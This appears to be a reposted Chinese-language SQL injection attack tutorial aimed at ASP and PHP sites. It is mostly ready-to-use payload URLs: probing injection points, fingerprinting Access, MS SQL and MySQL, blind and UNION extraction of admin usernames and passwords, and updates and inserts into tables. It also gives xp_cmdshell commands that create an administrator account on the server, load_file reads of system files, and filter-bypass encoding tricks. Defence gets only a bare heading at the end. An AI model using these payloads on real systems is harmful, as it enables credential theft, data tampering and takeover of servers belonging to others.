sql 注入及爆表与字段

来源:互联网 发布:java面向对象视频 编辑:程序博客网 时间:2024/06/04 19:57
http://www.cchacker.com/main
转载请保留来源与版权信息,尊重作者劳动。



一、SQL 脚本注入攻击前奏

注入点的寻找、区分、与判断

手工寻找检测注入点

http://www.target.com/article.asp?id=1ASP 注入
http://www.target.com/article.php?id=1 PHP 注入

1)“加引号”法
http://www.target.com/article.asp?id=1'
http://www.target.com/article.php?id=1'
提交如上数据,在返回信息中,有详细的数据库 SQL 语句操作执行错误信息,并出现类似的提示信息的话,则往往表明存在 SQL 注入漏洞。(对于字符型数据,单引号添加可以灵活些,例如把单引号加入字符串中来测试。)

2)经典“1=1和1=2)法
http://www.target.com/article.asp?id=1 and 1=1
http://www.target.com/article.asp?id=1 and 1=2
提交“1=1”返回页面一般应该运行正常,与原页面运行显示相同,而提交“1=2”则页面运行异常,满足上面的显示,则说明当前页面中存在 SQL 注入漏洞,反之则可能不能注入,此方法对 PHP站点同样适用。

工具扫描 ASP 存在的 SQL 注入点
1)WIS 扫描法 2)明小子旁注工具 3)使用 NBSI 扫描

区分 SQL 注入点的类型

1)数字型注入点
http://www.target.com/article.asp?id=1 and 查询条件

2)字符型注入点
http://www.target.com/article.asp?class=日期 and 查询条件

3)搜索型注入点
keyword='and 查询条件 and '%'='

判断目标数据库类型

过分体贴的错误信息
Microsoft JET Database Engine 错误 '80040e14' Access 数据库
Microsoft OLE DB Provider for SQL Server 错误 '80040e14' SQL Server 数据库)
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14' 暂不能确定数据库类型

报出数据库类型

1)内置变量报出数据库类型
http://www.target.com/article.asp?id=1 and user>0
从执行返回信息可以清晰看见“SQL Servet”或“Access”这些字眼来判断。

2)内置数据表报出数据库类型
在注入点后提交如下语句
http://www.target.com/article.asp?id=1 and (select count(*) from sysobjects)>0
http://www.target.com/article.asp?id=1 and (select count(*) from msysobiects)>0
如果数据库是 SQL Sever ,那么第一个语句的页面与原页面大致相同,而的二个网址,由于找不到表“msysobjects”,会提示出错,就算程序有容错处理,不会返回错误信息,但是页面也与原页面完全不同。
如果是 Access 数据库,那么情况就有所不同:提交第一个语句返回页面与原页面完全不同,会提示错误信息,因为 Access 中不存在“sysobjects”表,因此会提示“找不到输入表或查询'sysobjects'”。在提交第二个语句,一般在 Access 中是不允许读取该表的,所以与原网址也是完全不同的

3)自动化的注入工具进行判断 略



二、注入 Access 数据库

猜解表名及字段名

http://www.target.com/article.asp?id=1 and exists (select * from admin) 猜解表名
http://www.target.com/article.asp?id=1 and (select count(username) from admin)>=0 猜解 admin 表中的 username 字段名

猜解表名及字段名完全是靠经验与运气进行猜测的,而具体的用户名和密码只要按照规律就一定能猜解成功,具体常见表名及字段名可以到网络上查看。

ASCII 逐字解码法猜解字段值

http://www.target.com/article.asp?id=1 and (select top 1 len(username) from admin)>0 猜解“username”字段第一条记录的长度
http://www.target.com/article.asp?id=1 and (select top 1 asc(mid(username,1,1)) from admin)>0 用二分法来猜解“username”字段第一条记录的第一位字符对应的 ASCII 码
http://www.target.com/article.asp?id=1 and (select top 1 asc(mid(username,2,1)) from admin)>0 用二分法来猜解“username”字段第一条记录的第二位字符对应的 ASCII 码

自动化工具协助

1)WIS+WED 2)NBSI 3)MD5Crack



三、为 MS SQL 带来灾难的高级查询

报出 MS SQL 当前表名和字段名

http://www.target.com/article.asp?id=1 having 1=1-- 报出当前表名和一个字段名
http://www.target.com/article.asp?id=1 group by 第一个字段名 having 1=1-- 报出当前表名的第二个字段名
http://www.target.com/article.asp?id=1 group by 第一个字段名,第二个字段名 having 1=1-- 报出当前表的另一个字段名
http://www.target.com/article.asp?id=1 group by 第一个字段名,第二个字段名,第三个字段名 having 1=1-- 报出当前表的其他字段名

获取数据库中指定信息

http://www.target.com/article.asp?id=1 and (select top 1 字段名 from 表名)>1
http://www.target.com/article.asp?id=1 and (select top 1 字段名 from 表名 where id=N)>1

修改数据库插入数据

http://www.target.com/article.asp?id=1 ;update 表名 set 字段名='更改的内容' where id='1' 根据获得的表名及字段名更改数据
http://www.target.com/article.asp?id=1 ;insert into 表名 values ('内容','内容','内容')-- 插入一条新的数据记录

报出任意表名和字段名

http://www.target.com/article.asp?id=1 and (select top 1 name from(select top [N] id,name from sysobjects where xtype=char(85)) T order by id desc)>1 报出第N个表名
http://www.target.com/article.asp?id=1 and (select top 1 col_name(object_id([表名]),[N]) from sysobjects)>1 报出某个表中第N个字段名



四、扩展存储过程的利用

判断当前数据库连接用户权限

http://www.target.com/article.asp?id=1 and user>0
若当前连接数据库的用户名为“dbo”,该用户名默认为 SA 权限,如果是其他自定义用户名,则表明该用户权限为“public”。

获取当前连接的数据库名

http://www.target.com/article.asp?id=1 and db_name()>0 获取当前连接的数据库名

利用扩展存储过程执行任意命令

http://www.target.com/article.asp?id=1 ;exec master..xp_cmdshell "net user crackkey password /add" 在系统中添加用户名和密码分别为“crackkey”、“password”的帐号
http://www.target.com/article.asp?id=1 ;exec master..xp_cmdshell "net localgroup administrators crackkey /add" 将帐号“crackkey”的用户权限提升为管理



五、构造 PHP 注入攻击

手工 PHP 注入

通过 union 或 order by 确定当前数据库的字段数目

http://www.target.com/article.php?id=1 union select 1,2,3,4,5,6,N
http://www.target.com/article.php?id=1 order by N 确定当前数据库字段数目为N个

猜解当前数据库表名

http://www.target.com/article.php?id=1 union select 1,2,3,4,5,6,N from admin 猜解出存在[admin]表

报出数据库数据

http://www.target.com/article.php?id=1 union select 1,username,3,password,4,5,6,N from admin 猜解出[admin]表里字段的数据

报出表中字段的其他信息

http://www.target.com/article.php?id=1 union select 1,username,3,password,4,5,6,N from admin where id=N 报出该字段第N条记录

判断当前数据库是否为 root 权限

http://www.target.com/article.php?id=1 and ord(mid(user(),1,1))114/*

判断是否具有文件读写权限

http://www.target.com/article.php?id=1 and (select count(*) from mysql.user)>0

报出数据库系统信息

http://www.target.com/article.php?id=1 and select 1,user(),3,version(),5,session_user(),7,database(),8,current_user()



读取文件

十六进制方式

http://www.target.com/article.php?id=1 union select 1,load_file(Ox633A2F626F6F742E696E69),3,4,5,6 读取c:\boot.ini文件

ASCII码方式

http://www.target.com/article.php?id=1 union select 1,load_file(读取文件的路径的ASCII码),3,4,5,6 读取文件




六、深入 SQL 注入探究

缺失单引号与空格的注入

@a sysname select @a=要执行的命令十六进制代码 exec master.dbo.xp_cmdshell @a
上面利用 declare 与 OX6e 编码进行绕过过滤,如果使用 declare 语句变形注入代码依然受到过滤限制,此时就要考虑二次编码转换了,这里推荐 SQLInjectEncode 这个二次编码合成工具。
应对空格的过滤,可以用 /**/ 替换空格进行注入攻击。

Update 注入与差异备份
char 字符转换与单引号突破
数据提交与隐式注入 略

SQL 注入防范

利用 SQL 通用防注入程序
原创粉丝点击